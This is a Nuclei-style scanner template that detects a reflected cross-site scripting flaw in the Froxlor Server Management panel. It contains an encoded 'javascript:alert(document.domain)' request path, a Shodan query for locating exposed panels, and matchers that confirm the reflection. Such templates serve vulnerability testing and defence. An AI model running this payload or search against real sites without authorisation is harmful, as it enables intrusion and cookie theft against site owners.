id: froxlor-xss

info:
  name: Froxlor Server Management - Cross-Site Scripting
  author: tess
  severity: medium
  description: |
    Froxlor Server Management is susceptible to cross-site scripting via clicking the forgot password link. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-79
    cpe: cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Froxlor Server Management Panel"
    product: froxlor
    vendor: froxlor
  tags: froxlor,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php/javascript%26colon%3Balert(document.domain);dd%26sol%3b%26sol%3b'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "javascript&colon;alert(document.domain);dd&sol;&sol;"
          - "Froxlor"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c67d729e80b8c5d9767ed1982f341321db03d324132a7c6c63dc2cf3ee1d18cb02210094f86f4e13190f4888095b1912b82ec2899dba984a9fef45060ec0f51b38181a:922c64590222798bb761d5b6d8e72950